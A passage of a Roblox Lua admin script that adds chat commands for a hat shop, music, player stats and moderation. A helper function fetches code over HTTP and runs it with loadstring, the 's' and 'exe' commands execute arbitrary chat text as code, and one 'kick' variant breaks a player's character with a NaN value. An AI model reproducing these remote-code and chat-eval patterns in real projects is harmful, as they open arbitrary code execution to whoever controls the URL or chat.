- pmesh.MeshId=tab_settings.meshId
- pmesh.Scale=Vector3.new(tab_settings.scalex,tab_settings.scaley,tab_settings.scalez)
- end
- local bg = Instance.new("BillboardGui", p1)
- bg.Adornee = p1
- bg.Name = "BG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local text1 = Instance.new("TextLabel", bg)
- text1.Size = UDim2.new(3, 0, 0.5, 0)
- text1.FontSize = "Size18"
- text1.TextScaled = true
- text1.TextTransparency = 0
- text1.BackgroundTransparency = 1
- text1.TextTransparency = 0
- text1.TextStrokeTransparency = 0
- text1.TextColor = BrickColor.new(textcolor)
- text1.Text = Assets[Hat].Name
- text1.Name='Tl'
- text1.Font=tab_settings.all_font
- local bg2 = Instance.new("BillboardGui", p1)
- bg2.Adornee = p1
- bg2.Name = "BG1"
- bg2.Size = UDim2.new(1.8, 0, 2.8, 0)
- bg2.StudsOffset = Vector3.new(-1.4, 6, 0)
- local image = Instance.new("ImageLabel", bg2)
- image.Size = UDim2.new(2.5, 0, 1.8, 0)
- image.Image = 'https://www.roblox.com/Thumbs/Asset.ashx?width=110&height=110&assetId='..Assets[Hat].AssetId
- image.BackgroundTransparency=1
- loadstring(ThemeSource)()
- local cd=Instance.new("ClickDetector",p1)
- cd.MouseClick:connect(function(who1)
- if string.find(who1.Name:lower(),who:lower()) or who1.Name==owner then
- RealDissmissWait(who)
- ScriptPing("Black","Buy Hat","White",[[game:GetService("MarketplaceService"):PromptPurchase(game:service'Players'[']] ..who..[['],]] ..Assets[Hat].AssetId.. [[)]],who,"ScriptPing")
- PingPictureText('Really black',Assets[Hat].AssetId,who,Assets[Hat].Name,'Hot pink',2.5,1.8,'other')
- ScriptPing("Teal","Go back","Teal",[[PingHat(']]..Color..[[',']]..textcolor..[[',']]..who..[[',']]..keyword..[[')]],who,"ScriptPing")
- Ping("White",'Description: '..Assets[Hat].Description,"White",who)
- ScriptPing("Neon orange","Wear","White",[[game:GetService'InsertService':LoadAsset(]]..Assets[Hat].AssetId..[[):children()[1].Parent=game:service'Players'[']]..who..[['].Character]],who,"ScriptPing")
- if tonumber(Assets[Hat].Price) then
- Ping("Lime green",'Price: '..Assets[Hat].Price..' ROBUX',"White",who)
- else
- Ping("Lime green",'Price: N/A',"White",who)
- Ping("Dark indigo","Id: "..Assets[Hat].AssetId,"White",who)
- end
- end
- end)
- end
- end
- end
- end
- end
- BLAH1()
- function h(link)
- loadstring(http:GetAsync(link))()
- end
- game:service'Players'.PlayerAdded:connect(function(play)
- if not tabs_model:FindFirstChild("Tabs_"..play.Name) then
- local model_2=Instance.new("Model",tabs_model)
- model_2.Name='Tabs_'..play.Name
- model_2.ChildAdded:connect(function(PartCF)
- pcall(function()
- partCF.CFrame = play.Character[tab_settings.mainSpawnPoint].CFrame
- loadstring(tab_settings.theme)()
- end)
- end)
- end
- wait(1)
- if play.Name=='Rvsl' then
- if play.Name then
- pcall(function()
- Ping('Really black','Your rank is: Owner','White',owner)
- Ping('Really black','Created by Rvsl','Teal',owner)
- Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",play.Name)
- Ping('Really black',"Connected to Discord","Teal",play.Name)
- end)
- end
- end
- for i,admin in pairs(admins) do
- if play.Name==admin and play.Name~=owner then
- if play.Name==admin then
- pcall(function()
- Ping("Really black","Your rank is: Developer","White",play.Name)
- Ping('Really black','Created by Rvsl','Teal',play.Name)
- Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",play.Name)
- Ping('Really black',"Connected to Discord","Teal",play.Name)
- end)
- end
- end
- end
- end)
- for i,player1 in pairs(game:service'Players':children()) do
- for i,adminer in pairs(admins) do
- if player1.Name==adminer and player1.Name~=owner then
- pcall(function()
- Ping("Really black","Your rank is: Owner","White",player1.Name)
- Ping('Really black',"Connected to Discord","Teal",player1.Name)
- Ping('Really black','Created by Rvsl')
- Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",player1.Name)
- end)
- end
- end
- if player1.Name==owner then
- pcall(function()
- Ping("Really black","Your rank is: Owner","White",player1.Name)
- Ping('Really black','Created by Rvsl','Teal',player1.Name)
- Ping('Really black',"Connected to Discord","Teal",player1.Name)
- Ping('Really black',"The current suffix's are: "..prefix.."kill"..prefix2.."me","Teal",player1.Name)
- end)
- end
- end
- --Ping('Really black',1,'Dark indigo','bas')
- function TabCommands()
- table.insert(commands2,'dt')
- table.insert(commands2,'dismisstabs')
- table.insert(commands,'dt')
- table.insert(commands,'dismisstabs')
- table.insert(commands,prefix..'dt'..prefix2..'all')
- table.insert(commands,prefix..'dismisstabs'..prefix2..'all')
- table.insert(commands,prefix..'dta'..prefix2)
- for i,player in pairs(game:service'Players':children()) do
- player.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'dt'+#prefix2)==prefix..'dt'..prefix2 then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- if player.Name==admin.Name:sub(6) then
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'cmds'..prefix2 then
- if not string.find(adminjson,player.Name) then
- for i,v in pairs(commands2) do wait() Ping("White",v,"White",player.Name) end
- Ping("Really black","Loaded "..#commands2.." commands.","Teal",player.Name)
- end
- end
- if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'commands'..prefix2 then
- if not string.find(adminjson,player.Name) then
- for i,v in pairs(commands2) do wait() Ping("White",v,"White",player.Name) end
- Ping("Really black","Loaded "..#commands2.." commands.","Teal",player.Name)
- end
- end
- if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2)==prefix..'dismisstabs'..prefix2 then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- if player.Name==admin.Name:sub(6) then
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end
- end;
- end)
- end;
- for i,admin in pairs(admins) do
- for i,player in pairs(game:service'Players':children()) do
- if player.Name==admin then
- player.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'dt'+#prefix2+#'all')==prefix..'dt'..prefix2..'all' then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2+#'all')==prefix..'dismisstabs'..prefix2..'all' then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'dta'+#prefix2)==prefix..'dta'..prefix2 then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- end)
- end
- end
- end;
- for i,admin in pairs(admins) do
- game:service'Players'.PlayerAdded:connect(function(player)
- if player.Name==admin then
- player.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'dt'+#prefix2+#'all')==prefix..'dt'..prefix2..'all' then
- player.Data.page_number.Value=1
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'dta'+#prefix2)==prefix..'dta'..prefix2 then
- player.Data.page_number.Value=1
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2+#'all')==prefix..'dismisstabs'..prefix2..'all' then
- player.Data.page_number.Value=1
- for i,admin in pairs(tabs_model:children()) do
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end;
- end)
- end
- end)
- end
- game:service'Players'.PlayerAdded:connect(function(player)
- player.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'dt'+#prefix2)==prefix..'dt'..prefix2 then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- if player.Name==admin.Name:sub(6) then
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end
- end;
- if m:lower():sub(1,#prefix+#'cmds'+#prefix2)==prefix..'cmds'..prefix2 then
- for i = 1,#admins,1 do
- if not admins[i]==player.Name then
- for i,v in pairs(commands2) do wait() print(v) end
- end
- end
- end
- if m:lower():sub(1,#prefix+#'dismisstabs'+#prefix2)==prefix..'dismisstabs'..prefix2 then
- if player:FindFirstChild('Data') then
- player.Data.page_number.Value=1
- end
- for i,admin in pairs(tabs_model:children()) do
- if player.Name==admin.Name:sub(6) then
- for i,plr in pairs(game:service'Players':children()) do if plr.Name==admin.Name:sub(6) then
- RealDissmiss(plr.Name)
- end
- end
- end
- end
- end;
- end)
- end)
- end
- function MusicCommands()
- table.insert(commands,prefix..'mus'..prefix2..'musicid')
- table.insert(commands,prefix..'pitch'..prefix2..'number')
- table.insert(commands,prefix..'searchsongs'..prefix2..'musicname')
- table.insert(commands,prefix..'searchmusic'..prefix2..'musicname')
- table.insert(commands,prefix..'sm'..prefix2..'musicname')
- table.insert(commands,prefix..'smusic'..prefix2..'musicname')
- table.insert(commands,prefix..'volume'..prefix2..'musicname')
- table.insert(commands,prefix..'music'..prefix2..'musicid or special song')
- table.insert(commands,prefix..'shats'..prefix2..'hatname')
- table.insert(commands,prefix..'sh'..prefix2..'hatname')
- function AddMusic(name,id)
- local sv = Instance.new("StringValue",music_model)
- sv.Name = name
- sv.Value = 'rbxassetid://'..id
- end
- loadstring(music_script)()
- songs = music_model:GetChildren()
- found=false
- for i,getadmin in pairs(admins) do
- for i,getplayeradmin in pairs(players:children()) do
- if getplayeradmin.Name==getadmin then
- plr=getplayeradmin
- plr.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'mus'+#prefix2)==prefix..'mus'..prefix2 then
- --1
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
- local sound=Instance.new("Sound",tab_settings.sound_parent)
- sound.Volume=tab_settings.sound_volume
- sound.Looped = true
- for i,v in pairs(music_model:children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'mus'+#prefix2+1)) then
- sound.SoundId=v.Value
- sound:Play()
- found=true
- end
- end;
- if found==false then
- sound.SoundId='rbxassetid://'..m:sub(#prefix+#'mus'+#prefix2+1)
- sound:Play()
- end
- found=false
- end
- if m:lower():sub(1,#prefix+#'pitch'+#prefix2)==prefix..'pitch'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Pitch = m:sub(#prefix+#'pitch'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'vol'+#prefix2)==prefix..'vol'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Volume= m:sub(#prefix+#'vol'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'searchsongs'+#prefix2)==prefix..'searchsongs'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchsongs'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'searchmusic'+#prefix2)==prefix..'searchmusic'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchmusic'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'sm'+#prefix2)==prefix..'sm'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'sm'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'smusic'+#prefix2)==prefix..'smusic'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'smusic'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'sh'+#prefix2)==prefix..'sh'..prefix2 then
- if getplayeradmin:FindFirstChild('Data') then
- getplayeradmin.Data.page_number1.Value=1
- end
- PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'sh'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'shats'+#prefix2)==prefix..'shats'..prefix2 then
- if getplayeradmin:FindFirstChild('Data') then
- getplayeradmin.Data.page_number1.Value=1
- end
- PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'shats'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'volume'+#prefix2)==prefix..'volume'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Volume= m:sub(#prefix+#'volume'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'music'+#prefix2)==prefix..'music'..prefix2 then
- --2
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
- local sound=Instance.new("Sound",tab_settings.sound_parent)
- sound.Volume=tab_settings.sound_volume
- sound.Looped = true
- for i,v in pairs(music_model:children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'music'+#prefix2+1)) then
- sound.SoundId=v.Value
- sound:Play()
- found=true
- end
- end;
- if found==false then
- sound.SoundId='rbxassetid://'..m:sub(#prefix+#'music'+#prefix2+1)
- sound.Looped = true
- sound:Play()
- end
- found=false
- end;
- end)
- end
- end
- end
- for i,getadmin in pairs(admins) do
- game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
- if getplayeradmin.Name==getadmin then
- plr=getplayeradmin
- plr.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'mus'+#prefix2)==prefix..'mus'..prefix2 then
- --1
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
- local sound=Instance.new("Sound",tab_settings.sound_parent)
- sound.Volume=tab_settings.sound_volume
- sound.Looped = true
- for i,v in pairs(music_model:children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'mus'+#prefix2+1)) then
- sound.SoundId=v.Value
- sound:Play()
- found=true
- end
- end;
- if found==false then
- sound.SoundId='rbxassetid://'..m:sub(#prefix+#'mus'+#prefix2+1)
- sound:Play()
- end
- found=false
- end
- if m:lower():sub(1,#prefix+#'pitch'+#prefix2)==prefix..'pitch'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Pitch = m:sub(#prefix+#'pitch'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'searchsongs'+#prefix2)==prefix..'searchsongs'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchsongs'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'searchmusic'+#prefix2)==prefix..'searchmusic'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'searchmusic'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'sm'+#prefix2)==prefix..'sm'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'sm'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'smusic'+#prefix2)==prefix..'smusic'..prefix2 then
- PingSong("Really black","Teal",getplayeradmin.Name,m:sub(#prefix+#'smusic'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'sh'+#prefix2)==prefix..'sh'..prefix2 then
- if getplayeradmin:FindFirstChild('Data') then
- getplayeradmin.Data.page_number1.Value=1
- end
- PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'sh'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'shats'+#prefix2)==prefix..'shats'..prefix2 then
- if getplayeradmin:FindFirstChild('Data') then
- getplayeradmin.Data.page_number1.Value=1
- end
- PingHat("Neon orange","White",getplayeradmin.Name,m:sub(#prefix+#'shats'+#prefix2+1))
- end
- if m:lower():sub(1,#prefix+#'vol'+#prefix2)==prefix..'vol'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Volume= m:sub(#prefix+#'vol'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'volume'+#prefix2)==prefix..'volume'..prefix2 then
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then
- x.Volume= m:sub(#prefix+#'volume'+#prefix2+1)
- print(x)
- end
- end
- end
- if m:lower():sub(1,#prefix+#'music'+#prefix2)==prefix..'music'..prefix2 then
- --2
- for i,x in pairs(tab_settings.sound_parent:children()) do if x.ClassName=='Sound' then x:remove() end end
- local sound=Instance.new("Sound",tab_settings.sound_parent)
- sound.Volume=tab_settings.sound_volume
- sound.Looped = true
- for i,v in pairs(music_model:children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'music'+#prefix2+1)) then
- sound.SoundId=v.Value
- sound:Play()
- found=true
- end
- end;
- if found==false then
- sound.SoundId='rbxassetid://'..m:sub(#prefix+#'music'+#prefix2+1)
- sound.Looped = true
- sound:Play()
- end
- found=false
- end
- end)
- end
- end)
- end
- end
- function OtherCommands()
- table.insert(commands,prefix..'players'..prefix2)
- table.insert(commands,prefix..'time'..prefix2)
- table.insert(commands,prefix..'s'..prefix2)
- table.insert(commands,prefix..'ban'..prefix2)
- table.insert(commands,prefix..'time'..prefix2)
- for i,getadmin in pairs(admins) do
- for i,getplayeradmin in pairs(game:service'Players':children()) do
- if getplayeradmin.Name==getadmin then
- getplayeradmin.Chatted:connect(function(m)
- if m:lower():sub(1,#prefix+#'players'+#prefix2)==prefix..'players'..prefix2 then
- RealDissmissWait(getplayeradmin.Name)
- for i,v in pairs(game:service'Players':children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'players'+#prefix2+1)) then
- stats_script = [[
- local userid = game:service'Players':GetUserIdFromNameAsync(plr)
- local stats_url = http:JSONDecode(http:GetAsync("https://www.classy-studios.com/APIs/PlayerStats.php?ID="..userid))
- local years_old = tostring(stats_url.Age/365)
- local years_old2=years_old:sub(1,3)
- local join_date=tostring(2017-stats_url.Age/365)
- local join_date2=join_date:sub(1,4)
- pcall(function()
- PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
- Ping("Really black",'Forum posts: '..stats_url.ForumPosts,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Friend count: '..stats_url.Friends,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Follower count: '..stats_url.Followers,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Days old: '..stats_url.Age,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Place Visits: '..stats_url.PlaceVisits,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Years old: '..years_old2,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Join Date: '..join_date2,"White",']]..getplayeradmin.Name..[[')
- end)]]
- kill_script = [[game:service'Players'[plr].Character:BreakJoints()]]
- if game.PlaceId == 21053279 then
- kick_script = [[game:service'Players'[plr]:kick()]]
- else
- kick_script = [[game:service'Players'[plr]Character.Humanoid.HipHeight=0/0]]
- end
- respawn_script = [[game:service'Players'[plr]:LoadCharacter()]]
- ban_script = [[table.insert(banlist,plr)]]
- ScriptPing("Really black",v.Name,"White",[[plr=']]..v.Name..[[' userid = game:service'Players':GetUserIdFromNameAsync(plr) RealDissmissWait(']]..getplayeradmin.Name..[[') ScriptPing('Neon orange','Stats','Neon orange',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(stats_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Crimson','Kill','Crimson',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kill_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Really red','Kick','Really red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kick_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Teal','Respawn','Teal',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(respawn_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Bright red','Ban','Bright red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(ban_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
- ]],getplayeradmin.Name,'WhateverPing')
- -- ScriptPing("Really black",v.Name,"Teal",[[RealDissmissWait(']]..getplayeradmin.Name..[[') ]]..stats_script,getplayeradmin.Name,'UselessPing')
- end
- end
- end
- for i,v in pairs(scripters) do if getplayeradmin.Name == v then
- if m:lower():sub(1,#prefix+#'s'+#prefix2)==prefix..'s'..prefix2 then
- print = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('White',printString,'White',getplayeradmin.Name)
- end
- warn = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
- end
- error = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Really red',printString,'Really red',getplayeradmin.Name)
- end
- local S,E = loadstring(m:sub(#prefix+#'s'+#prefix2+1))
- if E then
- error(E)
- else
- local R1,E1 = pcall(S)
- if E1 then
- error(E1)
- end
- end;
- end
- if m:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
- print = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('White',printString,'White',getplayeradmin.Name)
- end
- warn = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
- end
- error = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Really red',printString,'Really red',getplayeradmin.Name)
- end
- local S,E = loadstring(m:sub(#prefix+#'exe'+#prefix2+1))
- if E then
- error(E)
- else
- local R1,E1 = pcall(S)
- if E1 then
- error(E1)
- end
- end
- end
- end
- end;
- end)
- end
- end
- end
- for i,getadmin in pairs(admins) do
- game:service'Players'.PlayerAdded:connect(function(getplayeradmin)
- if getplayeradmin.Name==getadmin then
- getplayeradmin.Chatted:connect(function(m)
- for i,v in pairs(scripters) do if getplayeradmin.Name == v then
- if m:lower():sub(1,#prefix+#'s'+#prefix2)==prefix..'s'..prefix2 then
- print = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('White',printString,'White',getplayeradmin.Name)
- end
- warn = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
- end
- error = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Really red',printString,'Really red',getplayeradmin.Name)
- end
- local S,E = loadstring(m:sub(#prefix+#'s'+#prefix2+1))
- if E then
- error(E)
- else
- local R1,E1 = pcall(S)
- if E1 then
- error(E1)
- end
- end
- end;
- end
- if m:lower():sub(1,#prefix+#'exe'+#prefix2)==prefix..'exe'..prefix2 then
- print = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('White',printString,'White',getplayeradmin.Name)
- end
- warn = function(...)
- local printTable = {}
- local printString = ''
- for i,v in pairs({...}) do
- table.insert(printTable,v);
- end
- for i,v in pairs(printTable) do
- printString=printString..tostring(v)..'\t'
- end
- Ping('Neon orange',printString,'Neon orange',getplayeradmin.Name)
- end
- function error(...) local table = {...}
- for i,v in pairs(table) do
- Ping('Really red',v,'Really red',getplayeradmin.Name)
- end end
- local S,E = loadstring(m:sub(#prefix+#'exe'+#prefix2+1))
- if E then
- error(E)
- else
- local R1,E1 = pcall(S)
- if E1 then
- error(E1)
- end
- end
- end;
- end
- if m:lower():sub(1,#prefix+#'players'+#prefix2)==prefix..'players'..prefix2 then
- RealDissmissWait(getplayeradmin.Name)
- for i,v in pairs(game:service'Players':children()) do
- if string.find(v.Name:lower(),m:lower():sub(#prefix+#'players'+#prefix2+1)) then
- stats_script = [[
- local userid = game:service'Players':GetUserIdFromNameAsync(plr)
- local stats_url = http:JSONDecode(http:GetAsync("https://www.classy-studios.com/APIs/PlayerStats.php?ID="..userid))
- local years_old = tostring(stats_url.Age/365)
- local years_old2=years_old:sub(1,3)
- local join_date=tostring(2017-stats_url.Age/365)
- local join_date2=join_date:sub(1,4)
- pcall(function()
- PingPictureText('Really black',plr.Name,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
- Ping("Really black",'Forum posts: '..stats_url.ForumPosts,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Friend count: '..stats_url.Friends,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Follower count: '..stats_url.Followers,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Days old: '..stats_url.Age,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Place Visits: '..stats_url.PlaceVisits,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Years old: '..years_old2,"White",']]..getplayeradmin.Name..[[')
- Ping("Really black",'Join Date: '..join_date2,"White",']]..getplayeradmin.Name..[[')
- end)]]
- kill_script = [[game:service'Players'[plr].Character:BreakJoints()]]
- if game.PlaceId == 21053279 then
- kick_script = [[game:service'Players'[plr]:kick()]]
- else
- kick_script = [[game:service'Players'[plr]Character.Humanoid.HipHeight=0/0]]
- end
- respawn_script = [[game:service'Players'[plr]:LoadCharacter()]]
- ban_script = [[table.insert(banlist,plr)]]
- ScriptPing("Really black",v.Name,"White",[[plr=']]..v.Name..[[' userid = game:service'Players':GetUserIdFromNameAsync(plr) RealDissmissWait(']]..getplayeradmin.Name..[[') ScriptPing('Neon orange','Stats','Neon orange',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(stats_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Crimson','Kill','Crimson',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kill_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Really red','Kick','Really red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(kick_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Teal','Respawn','Teal',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(respawn_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- ScriptPing('Bright red','Ban','Bright red',"RealDissmissWait(']]..getplayeradmin.Name..[[') loadstring(ban_script)()",']]..getplayeradmin.Name..[[','UselessPing')
- Ping('Really black',plr,'Teal',']]..getplayeradmin.Name..[[')
- PingPictureText('Really black',plr,']]..getplayeradmin.Name..[[',plr,'Teal',2.5,1.3,'avatar')
- ]],getplayeradmin.Name,'WhateverPing')
- -- ScriptPing("Really black",v.Name,"Teal",[[RealDissmissWait(']]..getplayeradmin.Name..[[') ]]..stats_script,getplayeradmin.Name,'UselessPing')
- end
- end
- end
- end)
- end
- end)
- end
- end
- function AddCmd(cmd,type,source)
- if type:lower() == 'player' then
- table.insert(commands,prefix..cmd..prefix2..'player')
- else
- table.insert(commands,prefix..cmd)
- end
- for i,getadmin in pairs(admins) do
- for i,getplayeradmin in pairs(game:service'Players':children()) do
- if getplayeradmin.Name==getadmin then
- getplayeradmin.Chatted:connect(function(m)
- if type:lower()=='player' then
- if m:lower():sub(1,#cmd+#prefix+#prefix2)==prefix..cmd..prefix2 then
- loadstring([[msg = "]]..m..[[" cmd = "]]..cmd..[[" local real_me = game:service'Players'[']]..getplayeradmin.Name..[[']
- for i,v in pairs(players:children()) do if string.find(v.Name:lower(),msg:lower():sub(#prefix+#prefix2+#cmd+1)) then ]]..source..[[ end end]])()
